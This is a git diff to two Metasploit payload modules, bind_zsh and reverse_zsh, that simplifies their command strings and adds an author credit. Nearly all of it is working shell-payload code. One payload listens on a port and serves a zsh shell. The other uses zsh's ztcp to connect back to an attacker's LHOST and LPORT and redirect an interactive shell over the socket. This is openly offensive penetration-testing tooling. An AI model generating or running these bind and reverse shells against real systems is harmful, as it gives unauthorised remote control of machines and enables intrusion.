diff --git a/modules/payloads/singles/cmd/unix/bind_zsh.rb b/modules/payloads/singles/cmd/unix/bind_zsh.rb
index 943c1a50a0..d87f563552 100644
--- a/modules/payloads/singles/cmd/unix/bind_zsh.rb
+++ b/modules/payloads/singles/cmd/unix/bind_zsh.rb
@@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 112
+  CachedSize = 99
 
   include Msf::Payload::Single
   include Msf::Sessions::CommandShellOptions
@@ -23,7 +23,8 @@ module MetasploitModule
       },
       'Author'        =>
         [
-          'Doug Prostko <dougtko[at]gmail.com>'
+          'Doug Prostko <dougtko[at]gmail.com>',    # Initial payload
+          'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
         ],
       'License'       => MSF_LICENSE,
       'Platform'      => 'unix',
@@ -44,18 +45,13 @@ module MetasploitModule
   # Constructs the payload
   #
   def generate
-    return super + command_string
+    super + command_string
   end
 
   #
   # Returns the command string to use for execution
   #
   def command_string
-    cmd = "zmodload zsh/net/tcp;"
-    cmd << "ztcp -l #{datastore['LPORT']};"
-    cmd << "ztcp -a $REPLY;"
-    cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
-    cmd << "ztcp -c"
-    cmd
+    "zsh -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"
   end
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb
index 813d6daf41..8477c9559f 100644
--- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb
@@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 110
+  CachedSize = 94
 
   include Msf::Payload::Single
   include Msf::Sessions::CommandShellOptions
@@ -21,7 +21,11 @@ module MetasploitModule
         Connect back and create a command shell via Zsh.  Note: Although Zsh is often
         available, please be aware it isn't usually installed by default.
       },
-      'Author'      => 'Doug Prostko <dougtko[at]gmail.com>',
+      'Author'      =>
+        [
+          'Doug Prostko <dougtko[at]gmail.com>',    # Initial payload
+          'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
+        ],
       'License'     => MSF_LICENSE,
       'Platform'    => 'unix',
       'Arch'        => ARCH_CMD,
@@ -34,14 +38,10 @@ module MetasploitModule
   end
 
   def generate
-    return super + command_string
+    super + command_string
   end
 
   def command_string
-    cmd = "zmodload zsh/net/tcp;"
-    cmd << "ztcp #{datastore['LHOST']} #{datastore['LPORT']};"
-    cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
-    cmd << "ztcp -c"
-    cmd
+    "zsh -c 'zmodload zsh/net/tcp && ztcp #{datastore['LHOST']} #{datastore['LPORT']} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"
   end
 end